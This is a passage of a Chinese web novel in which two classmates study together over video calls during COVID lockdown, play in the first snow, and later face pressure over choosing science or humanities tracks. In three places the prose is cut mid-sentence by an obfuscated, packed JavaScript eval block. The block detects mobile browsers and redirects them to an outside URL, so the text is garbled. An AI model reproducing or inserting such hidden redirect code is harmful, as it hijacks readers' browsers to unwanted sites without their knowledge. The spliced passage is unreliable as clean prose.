贺疏放把题目和他们的思路给何建安拍了过去,没过多久,何建安回了几条长长的语音,贺疏放点开,两人一起凑在手机前听。思路大致明细后,两个人又分别自己算了一遍,才算是真正明白了。 她在心里暗暗感谢贺疏放和何建安,托他俩的福,自己终于能有一天十二点之前睡觉了。 徐瑞敏女士对这种学习氛围大为满意,主动提出每天晚饭之后到晚自习开始前的一段时间里,就让贺疏放留在她们家客厅里,和东篱夏讨论两个人白天弄不太懂的题目。 东篱夏很享受这些时光,不仅仅是因为能名正言顺地和贺疏放多待一会儿,更因为她打心眼里享受这种势均力敌的感觉。 她给贺疏放讲同源染色体和姐妹染色单体,也是顺便把知识点在自己脑中又加固一遍,贺疏放则给她讲原子电子排布规律,顺便拓展一点轨道杂化的概念,物理和数学则是两个人一起研究,甚至偶尔也会搬出何建安这个救兵来。 这就是稳稳的幸福吗?她时常这样想。 网课隔绝了学校的纷扰,只留下他们两个在小小的出租屋客厅。东篱夏时常会生出一种错觉,好像世界就只剩下这方寸天地,只剩下他们两个人同舟共济。 如果网课一直这样下去,好像也挺好。 没过多久,东篱夏就发现自己好像有点梦想成真了。 每次小道消息疯传下周复课,第二天就必定会爆出新的密切接触者来,将刚刚冒头的希望浇得透心凉。 学校的统一晚自习在九点十分准时结束,一班那群卷王之王在班主任的铁腕下,或自觉或被迫将自习战线拉长到十一点。而二班仍旧在柳鸿的无为而治下散养着——九点十分之后,是刷题、是打游戏、还是直接躺床上睡觉,全凭个人造化。 东篱夏属于想卷却还是不够自律的那一类。 晚自习结束,手机就放在触手可及的地方,各种群里的闲聊,还有虞霁月新发来的小说链接都在和她的意志力对抗,只能在“再学半小时”和“就玩五分钟”之间反复横跳,结果通常是懊恼地发现时间已溜走大半,而计划要做的物理错题只整理了两道。 孤独滋生了懈怠,也多少放大了一些微妙的渴望。 她点开微信,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054531|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着刚刚聊过天的“学学化学”,心跳莫名快了半拍。 不如找他一起自习? 对,就是一起学习。 多么光明正大,多么积极向上。 她快速地打字给他,“你还学习吗?要不要一起视频自习?” 发送。 等待的几秒钟被无限拉长,她盯着对话框,贺疏放半天没回,就在她开始后悔自己的唐突,准备撤回消息时,聊天框里突然弹了一条腾讯会议的链接出来。 然后对面发了一个【勾引】的表情。 心中漾开一片无声的欢喜,她立刻点开链接进入会议室,几乎在她进入的瞬间,贺疏放那边已经开启了视频。 他换成了电脑前置摄像头,头发明显许久没剪,毛茸茸的,鼻梁依旧很高,细框眼镜架在脸上还是那样好看。 你是来学习的还是来看他的,东篱夏! 她自己骂了自己一句,却又在开启视频前,鬼使神差地先点开了视频预览窗口。 屏幕里映出自己略显紧张的脸,头发好像有点乱,她赶紧用捋了捋刘海,侧了侧脸,试图找到一个显得自己更自然更好看的角度。 做完这一切,她继续在心里狠狠唾弃自己: 东篱夏,你矫情不矫情! 这是自习!不是视频相亲啊喂! 强行按下翻腾的思绪,东篱夏终于打开了摄像头,电脑微信又弹出了“学学化学”的消息:学什么呢? 东篱夏如实答道:整理物理错题,你呢? 学学化学:刚把课内作业收尾,打算每天晚自习结束到睡觉前都用来学竞赛【哭】快忙吧,加油~ 怎么还学会用波浪线了。 小小的会议室,两个分屏视频窗口,两端是各自的书桌台灯,映照着少年们专注的脸。有人监督,东篱夏竟然真的静下心来学下去了。 十一点半,贺疏放突然开麦说了句,“差不多了?早点休息。” 东篱夏从题海中回过神,看了看自己完成的进度,心满意足,“好。” 两人几乎同时关掉了摄像头,谁也没有立刻退出会议,沉默了几秒,贺疏放的声音再次响起,“晚安。” “晚安。” 屏幕暗下去,两个小窗口消失,只剩下腾x会议的主页冷冷地亮着。 今晚真好啊。 她开始有点期待明天了。 期待晚自习结束,期待电脑上的微信再次闪烁,期待他发来熟悉的会议号。 可是如果他没再提,自己应该主动问吗? 会不会显得太把他当回事了? 算了,不想了。明天的事,明天再说吧。 至少她今天拥有了一个幸福的晚上。 结果第二天,晚自习刚刚结束不到半分钟,她电脑上的微信就开始疯狂闪烁—— 真的是学学化学。 “来吧,还是昨天那个会议号,公主请进会议。” 怎么又公主上了? 东篱夏脸颊发烫,飞快回复了一个翻白眼的表情包:“一会儿女神一会儿菩萨一会儿公主的,到底有多少个版本?” 贺疏放回得很快,“你在我这儿身份比较多,还不好?” 油嘴滑舌。 东篱夏脸上更热,“谁跟你在这玩碟中谍。” “每个间谍可以有很多代号,”贺疏放的信息不紧不慢地跳出来,“但每个代号都只能对应唯一一个人哦【wink】” 什么意思? 女神是你,菩萨是你,公主也是你吗? Stop,东篱夏,Stop!!! 别瞎解读,太自恋了吧! 视频连接,画面亮起,贺疏放的耳朵尖好像也有点红。 肯定是灯光晃的嘛。 她再次对自己说。 38. 大雪的女儿 复课遥遥无期,疲倦比病毒蔓延地更快。 最初的新鲜和自由早就被消磨殆尽,大多数人都蔫了下去,同学群里也只剩下零星几个人时断时续地聊天。 天公似乎听到了这座北方小城里孩子们压抑了太久的心声,送来了一份足够提神的大礼。 江城2021年的第一场雪,在某个普普通通的下午无声无息地降临了。 起初只是很轻很小的雪花,落在窗沿上也很快就化掉,没有人奢望这场雪能留下什么痕迹,除了满地的泥泞。 直到雪下了一个小时还没有停下的迹象,甚至越下越大,鹅毛一样的雪花漫天飞舞,扑簌簌落下,将窗外的世界迅速漂白。 班级群死寂了一周后,终于又一次炸锅了。 “我家在江北,江北下得好大!” “江南这边也下大了!” “家人们小道消息!!!好几个班通知了,学年统一决定,班会和体活课不用在会议室里自习,可以自由活动!” 上面一条是周益荣发的。 “真的可以出去玩吗?” “管他可不可以呢,你真跑了,柳鸿还能上你家楼下给你抓回去啊?” 与此同时,柳鸿在班级大群里发了和周益荣几乎一模一样的信息,只是多加了几句注意不要人员聚集之类的场面话。 原来周益荣不光会报丧,还会报喜啊。东篱夏如是想。 “住西虹艺境的家人们下楼!打雪仗去gogogo!!!” “啊啊啊啊怎么抛下我们这些不住学校旁边的了!还有没有住江北的一起去体育场玩啊!” 东篱夏点开朋友圈,列表的同学们已经迫不及待地炫耀江大附中的“恩德”,并晒起了纷纷扬扬的雪景。 她也站起身,走到窗前向楼下看,已经有不少高中生样子的身影在小区里成功会师,在漫天的风雪里跑跳笑闹,叫喊声隔着窗子都能听到。 东篱夏也想出去。 可是她和小区里其他二班的女同学又不算太熟,算算相熟的几个朋友,甄盼家离得远,虞霁月家住的是小别墅,自然离市中心这块有点距离,苗时雨离她也隔着半个江城。 朋友都不在身边,一个人去踩雪好像又没什么意思。 算了,在屋里待着吧。 她刚坐回书桌前摊开屋里练习册,突然传来了一阵敲门声,徐瑞敏女士从客厅的桌子上站起身去开门,惊讶的声音传来:“疏放?你怎么来了?快进来,外面冷。” 贺疏放? 东篱夏立刻从椅子上弹起来,快步走到屋门口,扒着门框朝大门张望。 贺疏放裹得严严实实站在门外,厚厚的羽绒服拉链直接拉到下巴,头顶扣了个有点傻气还有点土的毛线帽子,手上是厚厚的棉手套。 “阿姨,我不进去了。”贺疏放的目光越过了徐瑞敏女士,径直投向身后的东篱夏,眼里尽是笑意,“学校这两节课让我们自由活动,我来问问篱夏要不要下楼玩会儿雪。” 徐瑞敏女士闻言,立刻回头嗔怪地看了东篱夏一眼,“这么大的雪,就在屋里憋着,也不说出去透透气!疏放不来找,我都不知道学校让你们自由活动了。快去快去,穿暖和点!” 东篱夏低低“哦”了一声,却压不住心底的雀跃,转身冲回房间,手忙脚乱地套上最厚的羽绒服,围上围巾,戴上可爱的猫耳朵帽子和手套,走到门口蹲下身子换棉鞋。 “慢点,别急。”徐瑞敏女士一边帮她正帽子,一边不放心地嘱咐门口的贺疏放,“疏放,你们玩一会儿就上来啊,别冻着了。看着点她,别滑倒了。” “放心吧阿姨,我们就在楼下,不远走。”贺疏放应道。 门在身后关上,骤然扑面的冷空气让东篱夏精神一振,此时此刻她才清晰地意识到——现在只有他们两个人了。 楼道里有些昏暗,感应灯随着他们的脚步声次第亮起,谁也没先说话,只有下楼时吱呀呀的闷响。 走到楼门口,贺疏放率先推开门,大片天光混合着雪光涌来,甚至有点刺眼。小区里已经有不少同学在玩耍,欢笑声隔着大老远传来。 贺疏放踩在蓬松的新雪上,一只手扶着门,回过头看向还站在单元门内踌躇不前的东篱夏,朝她笑了笑,“发什么呆呢,出来啊。” 少年人的笑容在雪光映衬下格外干净明朗,她像受了什么鼓舞一样,跟着贺疏放踏入了这片莹白的世界,享受着脚下松松软软的触感,感受着耳边呼啸的风声。 两个人并肩走着,东篱夏觉得鼻粘膜都有点结冰,雪花纷纷扬扬落在两个人的头发和睫毛上,冰冰凉凉,转瞬即化。 贺疏放忽然停下脚步,转过身看她,忽然伸出手,隔着毛线手套,轻轻将她滑下的围巾往上提了提,甚至盖到了鼻梁。 他的动作自然,语气也寻常,“捂严实点,脸都冻红了。” 世界很吵,不少同学和小孩子都在院子里尖叫和嬉闹。 世界也很静,她几乎能听到雪落下的声音和自己的心跳。 脸红真的只是冻得吗? 她也不知道。 东篱夏含糊地“嗯”了一声,庆幸有围巾遮挡,两个人就这样继续肩并着肩,漫无目的地在小区里走着。 看着贺疏放挺拔的背影,她忽然玩心大起,蹲下身快速拢起一捧雪,在手里捏了捏,然后起身朝着少年的后背掷去。 “啪”地一声,贺疏放脚步一顿回过头,脸上先是讶异,随即漾开一个明亮的笑容,也二话不说蹲下去团了个雪球,笑着朝她扔来。 东篱夏叫了一声,旋即笑着跳开。 沉寂的氛围瞬间被打破,取而代之的是独属于少年人的鲜活的欢闹。雪球你来我往,两个人一路追逐躲闪,直到跑得累了,东篱夏才俯下身子扶着膝盖喘着粗气,示意贺疏放停战。 看着地上松松软软的雪,她忽然又闪过了一个念头,“贺疏放,我们堆雪人吧!” 贺疏放也停下脚步,拍了拍头上和肩上的雪,笑容未减,“好啊。” 那一瞬间她心里忽然闪过一个荒谬的念头——好像这个时候,无论她提出什么,他都会笑着答应的。 堆雪人显然比打雪仗需要更多技巧,两个人试图用脚踢拢一个雪堆,踢了半天还只有一小撮,又蹲下身子去一起滚雪球做脑袋,结果不是散了就是团不出个圆。 两个人努力了一会儿,看着彼此束手无策的样子,都无奈地笑了笑。 东篱夏不甘心,目光扫到旁边花坛边缘堆积的厚厚一层白雪,心念一动站起身来,下意识地伸手抓住了贺疏放羽绒服的袖子,拽着他就往花坛走。 “这边这边,跟我来。” 贺疏放很顺从地跟着她,目光落在她抓着自己袖口的手上,唇角弯了弯。 东篱夏发表重要指示,“大的堆不起来,咱们就堆个迷你的,怎么样?” “好啊,都听你的。” 听了这话,少女的嘴角几不可察地扬了扬。 堆巴掌大的小雪人就容易多了,东篱夏专心致志地团了一个圆圆的垒球大小的雪球做身子,贺疏放则仔细地捏了一个小些的雪球做头,两个人小心翼翼地将小雪球安放在大雪球上,一个歪歪扭扭的雪人雏形出现了。 东篱夏蹲下身子,在积雪里找了半天,终于找到一根合适的枯树枝,在雪人脸上戳了两个圆溜溜的眼睛,又划了一道弧线当微笑,最后掰了一小截树枝仔细插在眼睛下方当鼻子。 她退后两步欣赏着自己的作品,心满意足,“大功告成!” 贺疏放站在她身边,看着她冻得通红却笑容灿烂的侧脸,依旧噙着浅浅的笑,“不错。” 东篱夏拿出手机,对着雪人咔嚓拍了一张,贺疏放笑着问,“怎么不跟它合个影?” “对哦,”东篱夏反应过来,把摄像头转向贺疏放,“我给你和它拍一张。” 贺疏放却很自然地从她手里拿过手机,点了翻转摄像头,“都说合影了,当然得拍全家福。” 说着,他伸长手臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061512|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将两人和花坛上小小的雪人都框进取景框,快门按下,屏幕里两个毛茸茸的脑袋凑在一起,身后是纷纷扬扬的大雪,笑得格外灿烂。 贺疏放欣赏着照片,忽然提议道,“它这么小,能不能捧着拍一张?” 东篱夏点点头,贺疏放便小心双手捧起那个小雪人,她刚要举起手机合影,小雪人忽然一个大头朝下摔了个大前趴,当作鼻子的树枝成功在落地的瞬间贯穿了雪人的脑袋。 “哎!”东篱夏轻轻叫了一声,无辜的小雪人重新变回了一堆白雪,连同那一小节肇事的树枝,可怜兮兮地躺在一片狼藉中。 贺疏放看着自己空空的手掌,表情紧张起来,觑着她的脸色想要道歉。 东篱夏却忽然弯下腰,快速抓起一把雪人的遗骸,趁着贺疏放还没反应过来,使出了江城人打雪仗的必杀技,把那捧雪精准从背后塞进了他的羽绒服后领。 “哎哟!”激得贺疏放一缩脖子,惊呼出声。 罪魁祸首东篱夏已经大笑着跑开了,贺疏放也笑起来,转身去追她,一边跑一边拂掉颈后的雪,两人又在雪地里展开了一场愉快的追逐,笑声洒了一路,直到跑得气喘吁吁,实在没了力气,才相视着停下,眼里都是未尽的笑意。 闹够了,两个人也累了。天色在不知不觉中暗沉下来,到了该回去的时候了。 回去的路,院里的路灯次第亮起,两个人都默契地走得很慢,谁也没有说话,看昏黄的光晕渲染着雪花。 贺疏放忽然开了口,“东篱夏,我觉得你像大雪的女儿。” 东篱夏侧头看他,扑哧一声笑了,“你怎么这么喜欢这种比喻,之前还说何建安像物理的儿子来着。” “不一样。”贺疏放也笑了笑,语气认真了几分,“你在雪地里,跟平常在教室里完全不一样。” 东篱夏的心轻轻一动。 “在教室里,你当然也很好,聪明,认真,有主见,有时候好像,嗯,想得很多。” 贺疏放斟酌着措辞,但东篱夏听得明白。 “可是在雪地里,你特别轻灵,特别自由自在。打雪仗,堆雪人,你笑那么大声,拽我袖子,往我脖子里塞雪,没有一点包袱,就是特别快乐纯粹的样子。” “我看你这么高兴,自己也特别高兴。” 贺疏放转过头看着她,“我总觉得是这场雪,让你这么自然,这么自在,这么快乐的。它好像把你心里那些暂时用不到的东西都轻轻盖住了,只留下了最想玩最想闹的那个你。” “所以,你不就像大雪的女儿吗?” “在它的世界里,你最像你自己。” 东篱夏的脚步停了下来。 好像就是这样的。 刚才那一个多小时里,她没有想过自己和贺疏放是不是太亲密了,也没想过他到底会怎么看她,怎么想她。 只是看到雪,想玩,就玩了;想堆雪人,就堆了;想拉他袖子,就拉了。 甚至恶作剧把雪塞进他脖子,也做得理所当然。 辽阔天地,大雪纷飞,在这座北方小城里,一落雪,所有人都只是天地间最纯粹的孩子。 这就是江城的魔力吗? 路灯的光从侧面打来,在她的脸上投下柔和的明暗。 “贺疏放,”她叫他的名字,声音很轻,却下定了决心,“明年初雪的时候,我们肯定已经回学校了。” 她看着他,眼睛晶晶亮。 “希望明年下第一场雪的时候,我们还能在一起看。” 雪还在静静飘落,贺疏放看着她,嘴角慢慢扬起一个温柔的弧度。 他的眼神告诉她,她刚才的预感没有错—— 在这片被初雪祝福过的天地间,无论她提出什么样的想法,他都会答应的。 果然,贺疏放笑着点了点头,“好,一言为定。” 两个少年站在渐浓的暮色与温柔的雪光里,许下了关于下一个冬天的约定。 雪花无声地落在他们的肩头,天地为证。 39. 舍命陪君子 江城的冬天总是过于漫长,白天越来越短,到了下午三四点窗外就是一片漆黑,随之而来的便是被无限拉长的黑夜。 如果说前半学期老师们留作业时还手下留情悠着了点,现在就是演都不演了,动辄一科一天留20页练习册下去,全然不顾学生死活。 通过班级群里同学们的反应,东篱夏基本可以判断出,对绝大多数人来说这样的题量都是写不完的。她也跟甄盼和虞霁月聊过,她们实在做不完的时候,就直接抄上答案,理解个大概,按时交上去就算了。 虞霁月甚至把自己的一套刷题哲学传递给了东篱夏,“我哥之前就跟我说,江大附中留作业的方式,就是压根不指望学生能做完,挑些对自己帮助大的就够了。” “要我说,有些题你自己做不出来,看答案能看懂,那做做还行。” “有些题看了答案也不懂,要不就是出题人疯了,要不就是我不配,放过彼此,来日方长。” 她知道在虞霁月的一系列歪理中,这话说得确实不无道理。 但她做不到。 她总是什么都不肯放弃。 她一直知道自己就是一个很执拗的人,要是有题看完答案也没弄懂,不亲自把它琢磨出来彻底弄懂,必然寝食难安。 当犟种的后果就是,她经常需要学到凌晨两点才睡。 网课的作业在微信小程序上交,有一天化学老师留了整整十页《必刷题》,东篱夏做完最后一题,已经是凌晨两点半。 凌晨两点半,她早就困过劲,甚至都有点精神了。 但东篱夏心里依然怨气深重,在提交作业的留言板上附了阴阳怪气的一句——“晚安老师,您辛苦了。” 她的内心尽是:早安老师,我辛苦了。 但她从来都不是一个人。 这些天深夜的奋战,贺疏放一直在会议室里陪着她,并且放下狠话,她几点睡,自己就几点睡,一分一秒也不能让东篱夏多卷。 她知道贺疏放要想挤出时间学竞赛,课内必然就弄得不精细,就时常会把课内练习册的难题圈出来分享给贺疏放,美其名曰“检验一下你的综合素养”,这样他只需要做“篱夏严选”,其余太偏太难或者太简单的题,大可直接抄答案。 但她到底还是不好意思拖着他太晚。 她知道虽然贺疏放晚上一学起竞赛来就忘了时间,但他白天也有繁重的课内任务要完成。通常到了凌晨一点左右,她就会主动在对话框里打字:“我有点困了,先睡啦,你也早点休息。” 然后两个人互道晚安,下线。 直到第二天早上,学学化学给她发了微信,带着点幽幽的委屈: “东篱夏同学,你昨晚骗我。” 东篱夏心里一咯噔,“啊?” “你说你一点睡,可我今天早上一看,两点多你还在交化学作业【生气】” 说完,贺疏放又发来一个【盯】的表情包。 东篱夏多少有点尴尬。 见南山:“……你没事看那个干嘛?” 贺疏放回得很快:“随便刷刷就看到了。而且,‘晚安老师,您辛苦了’?挺会阴阳怪气啊【狗头】” 他倒是懂她。 不过她依然嘴硬,“那是礼貌!礼貌你懂不懂!” “我懂我懂,”贺疏放从善如流,“但我也懂有人背着我自己偷偷用功到两点半呢。说好一起下线呢?” 东篱夏又好气又好笑,憋了半天才回了一句,“你怎么跟个私生粉似的,连我交作业的时间都监控?” 没想到贺疏放非但不以为耻,反而有点得意地回了个【酷】的表情。 “咋这么不会说话呢,我这叫‘舍命陪君子’。以后你学到几点,我就学到几点,别想背着我一个人偷偷内卷,要卷一起卷【狗头】” 谢谢你呀,贺疏放。 她很清楚他到底是为了什么。 她们是一模一样两只嘴硬的死鸭子。 “哪个大明星要私生粉陪。” “我们做私生粉的,不就是要时刻跟大明星待在一起的吗?” 她几乎都能想象出贺疏放说这话时噙着笑的神情。 真想不通,他怎么也这么犟呢。 话是这么说,东篱夏到底还是不好意思让他陪自己熬太晚,只能更努力地提高利用白天的碎片时间利用效率。她仍然愿意费工夫去想难题,但也学会了标记好之后该放就放,第二天清醒时再战。 就这样一路卷到了十二月,班级群里除了永不间断的作业文件和提交链接,又多了选科指导讲座的直播链接以及新高考政策解读文件,还有各种眼花缭乱的生涯规划测试。 他们是江城第一届新高考“3+1+2”模式下的小白鼠,不同于传统的文综理综,可以在物理或历史中间二选一,剩下的政治、地理、化学、生物则要四选二。 对东篱夏而言倒是没什么好纠结的。 自打把数学的短腿补齐后,数语英三门一百五十分的主科都比较扎实,为她托着底。小科里,她理综和文综的成绩比较均衡,算不上特别拔尖,只有物理稍微有点吃力。 介于她本人没什么偏好,加之物化生方向就业面比较广,大概率还是会学习纯理。 她原以为身边的朋友也大多会选纯理留在二班,直到晚自习甄盼给她发来了私信—— “夏夏,我真的要疯了【抓狂】” “我爸妈看了我期中成绩和这几次周测,非要我学文科【流泪】说我理科也就这样了,学年一百多,撑死考个江大,文科竞争小,容易冲好学校【大哭】【大哭】【大哭】” 东篱夏呼吸一滞,立刻把摄像头往旁边转了转,立刻把手放在键盘上,随时准备回复。 “可我不想学文啊!”甄盼继续倾诉着,“我不喜欢文科也不擅长文科,因为学不明白理科才学文科,跟逃兵有啥区别?我还是想学理科,我觉得我能行,只是需要时间……” 东篱夏刚敲了一句回复,甄盼的话又发过来了,“可是他们不听,他们每天晚上都吵,我妈昨天把我桌子上的花瓶砸了,说我翅膀硬了不听话,我爸也说我太不懂事。” 甄盼又发来一个【大哭】的表情,“夏夏,我真的有点不知道怎么办了……” 光是听这话,她心里就已经很难受了。 甄盼是那么勇敢明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066462|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媚的一个姑娘啊。 东篱夏反反复复打字又删掉,自己本身就不是什么擅长说漂亮话的人,只能绞尽脑汁想着怎么才能真正帮到她。 “别急别急盼盼,”她重新组织了语言,“你看,叔叔阿姨主要是担心你理科成绩,那如果期末你能考出一个很不错的成绩呢?这样会不会更有说服力一点?至少,能不能让叔叔阿姨愿意再给你一些时间,看看你的决心和能力?” 屏幕那边沉默了片刻,一条又一条私聊消息弹了出来,“对!你说得对!我要考好!我要证明给他们看!我就是要学理!” 这才是甄盼。 “可是网课效率太低了。”甄盼又有些沮丧,“我自己闷头学,好多地方搞不懂。真想赶紧回学校啊,有题就能随时问你了。” “线上也可以问啊。”东篱夏立刻回道,“你有不会的,随时私聊发给我,我随时看到随时帮你看看。我要是一下子也想不明白,就去问贺疏放,他要是也卡住,你如果不好意思直接问,我就让他去问何建安。” “放心吧,总能搞懂的。” 打出这段话时,东篱夏本人倒是没觉得有任何不妥,没想到甄盼的注意力瞬间被带偏了。 “诶诶诶等等等?” 甄盼突然发来一个摸下巴深思的表情包,“你啥时候跟贺疏放这么熟了?都到了你去问他,他再去问别人这种流水线作业的程度了?” “我记得你以前可是什么事都喜欢自己大包大揽,能不求人就不求人的。” 东篱夏看着这句话,手指忽然在键盘上停住了。 是啊,从什么时候开始的? 她想呀想,好像不知不觉间,和贺疏放商量商量就成了一个非常自然而然的选项。 他好像也总有问题来问她,两个人的交流中,自己没有过一丁点“下位”的感觉,一直是肩并肩的。 在找他帮忙的时候,她好像不再需要想那么多。 是从他那句“舍命陪君子”开始的吗? 是从会议室里无数个安静陪伴的夜晚开始的吗? 是从他父母出差那两周他每天雷打不动地来蹭饭,跟她讨论题目开始的吗? 还是更早的什么时候呢? 她曾经那么小心翼翼地维护着自己的边界,害怕麻烦别人,更害怕依赖别人。可是对贺疏放,这种防线又是什么时候悄无声息地瓦解了呢? 在今日被甄盼一语点破之前,她竟然毫无察觉。 屏幕那头,甄盼还在等待她的回答,甚至发了个【坏笑】的表情。 她强作镇定,试图把话题拉回正轨,“……这是重点吗!重点是帮你解决问题!何建安那么厉害,让他给你讲讲,你物理肯定突飞猛进!” “少来,”甄盼才不上当,语气却明显轻松了一些,“不过先放你一马,我的期末要紧。不会的题我可就真来找你了啊,等着吧!” 东篱夏松了口气,赶紧应下,“没问题,随时来问。” 对话暂时告一段落,甄盼一句无心之言,倒是让她再次把目光投向列表里的那位“学学化学”。 日复一日的网课里,好像确实有些东西不一样了。 40. 自己当大王 十二月中旬,复课通知终于降临。 班级群里又一次炸开了锅,绝大多数人都有一种逃出生天的狂喜,十五六岁的少年人,无不渴望回到有同桌、有走廊、有真真切切目光相接的地方。 刚高兴没多久,就有一批人开始哀嚎作业补不完了。 堆积如山的作业落到了实实在在的课桌上,两次考试取消后谁也摸不清自己现在的位置,迫在眉睫的期末考试更是要命。 复课后的江大附中,学生们压根没有叙旧的工夫,尤其是一二班所在的四楼,更是直接进入了战时状态。 课间伏案小憩的人越来越多,匆匆往返于办公室问问题的脚步更加密集,就连课间十分钟八卦的声音都少了些,取而代之的是各个小团体凑到一起讨论题目。 就在这样紧绷的氛围里,选科的议题再一次被柳鸿抛了出来。 复课不到一周,一个再寻常不过的早自习,大多数人尚且昏昏欲睡,柳鸿就背着手踱进了教室,脸上依旧是那副让人捉摸不透的神情。 柳鸿拍了拍黑板,又喊醒了几个早自习补觉的同学,才慢悠悠开口,“趁着今天人齐,我先简单了解一下情况。” “咱们是第一届新高考,这学期结束就分科,按照学校的初步安排,大概率只有物化生组合会留在咱们班,其他小科会单独编班。想选非纯理组合的举个手,我看看人数。” 话音落下,东篱夏的心一下子提了起来,紧张地望向了甄盼的方向。 似乎感应到她的目光,甄盼忽然回过头,两人的视线在空中仓促交汇。 她看着甄盼对自己轻轻摇了摇头,然后转了回去。 甄盼到底没有举手。 东篱夏心里松了口气。 她很难想象甄盼到底是顶住了怎样的压力,才为自己赢得了又一次证明的机会。 她的目光在教室里扫视一圈,零零星星有大概十只手举了起来,有的犹豫,有的坦然。 她倒是意外地发现,洛宓没有举手,或许是老洛还想把她放在自己身边看着吧。 举手的人不算多,但在只有五十人的清北班里,也足够显眼。 对于二班绝大多数人而言,不选纯理,相当于默认离开汇聚了最优师资和顶配环境的清北班,分班之后的学习氛围也是很大的参考因素。 柳鸿的实现缓缓扫过那些举起的手,表情没什么变化,只是在视线越过东篱夏时皱起了眉头。 “虞霁月,”柳鸿的声音比刚才都快了一点,意外之情溢于言表,“你不选纯理?” 昏昏欲睡的众人瞬间因为这话炸开了锅,不少低头的人诧异地抬起头,循着柳鸿的目光望去。东篱夏更是登时震惊地回过头。 虞霁月就坐在她斜后方转着笔,甚至有点过于平静了。 她迎着柳鸿和全班同学讶异的目光自然地点了点头,“是的老师,我选大文,史地政。” 低低的议论声瞬间蔓延开来,贺疏放也放下了手中的笔,和东篱夏对视一眼,都在对方眼里看见了迷茫。 无论开学考还是第一次月考,虞霁月都是学年前十,虽然学得漫不经心,数物化生却也毫不逊色,为什么会江城最顶尖高中的清北班,放弃显而易见的理科优势去选文科? 柳鸿的脸色沉了下来,语速破天荒地变快,“你跟你家长商量了吗?选科不是儿戏,不能因为想偷懒,觉得学文科轻松,一时冲动就轻易做决定!” 这话说得未免有点重了。 一听到“觉得学文科轻松”,虞霁月的眉头立刻拧了起来。东篱夏知道,她一定不是那种会默默承受误解的人。 “柳老师。” 虞霁月趁着柳鸿换气的当口接过了话头,无视了前半句跟没跟家长商量的问题,直接接了柳鸿的后半句, “我选大文不是因为想偷懒,更不是什么一时冲动。我期中考试历史98,政治97,确实有这方面的优势,更何况我也不喜欢物理。” “胡闹,一看你就没和家长商量过!” 柳鸿的声音陡然拔高,显然被虞霁月的冥顽不灵惹毛了, “喜欢能当饭吃吗?你现在理科成绩摆在这里,年级前十,清北那么多好专业可以选!文综那东西,不稳定因素特别大,尤其是你地理也没有历史政治那么好!” “康庄大道你不走,偏要去踩独木桥!我和你讲,你这是对自己不负责任,对学校跟家长的期待不负责任!” “老师,我没有不负责任,我想得很明白。” 虞霁月还想争辩,但柳鸿显然不打算在早自习继续这场在他看来毫无意义的辩论,直接打断了她的话,“赶紧的,你出来一下。” 虞霁月放下手中的笔,在全班或惊诧或不解或同情的目光中站起身,跟着柳鸿走出了教室,大概是往办公室的方向去了。 贺疏放转过身来问东篱夏,“她之前和你说过要学文科吗?” 东篱夏也是一脸惊诧,“当然没有,我也是今天才知道。” 第一节课上课铃响起的时候,虞霁月才被放回来,低着头快步走回座位,显然没什么好脸色。 东篱夏又为虞霁月捏了一把汗。 即使在这样崇尚理科的大环境下,虞霁月还是坚持在清北班突兀地选了大文,必然会有自己的理由。 她相信虞霁月虽然天马行空,但从来不是冲动的人,更不是真的会图轻松学文。 第一节课的下课铃刚响,东篱夏就迫不及待地转过身压低了声音问,“柳鸿刚才叫你出去说什么了?” 虞霁月扫了眼旁边好奇的同学,拉着东篱夏就站起身往外走,“厕所说,这块人多。” 两人一齐穿过走廊,走向尽头的卫生间,第一节下课上厕所的人不算太多,虞霁月进去就往地下一蹲,有点无奈地看着她。 她想跟虞霁月开句玩笑,说虞霁月要蹲就蹲坑里,蹲在这儿算什么,但看虞霁月那副样子,到了嘴边的话又硬生生收了回去。 这还是她第一次从这个大仙人脸上看到这样疲惫的神色。 “柳鸿还能说啥啊?” 虞霁月埋着头,声音压得很低,依旧尽力把语气放得轻快, “先来一套思想教育大礼包呗。什么工科为王,文科就业面窄,放弃理科优势可惜这那那这的,哎呀,反正就是你能脑补出来那种。” 东篱夏连忙问,“那你怎么回的?” “我说,那些理工科专业,我本来也没兴趣。” 虞霁月依旧蹲在那,抬起头看着东篱夏,像只可怜巴巴的小狗, “他可能觉得我在赌气,然后就开始强调我理科成绩的优势,还有我那88分的可怜地理。就好像我选了大文,就有多大罪过似的。” 东篱夏能想象那个画面,在柳鸿的视角,自己完全就是在苦口婆心地纠正一个误入歧途的好苗子,而虞霁月偏偏又不是三言两语能说动的性子。 “后来他见说不动我,”虞霁月的语气里带了点嘲讽,“就搬出终极武器,找家长呗。” 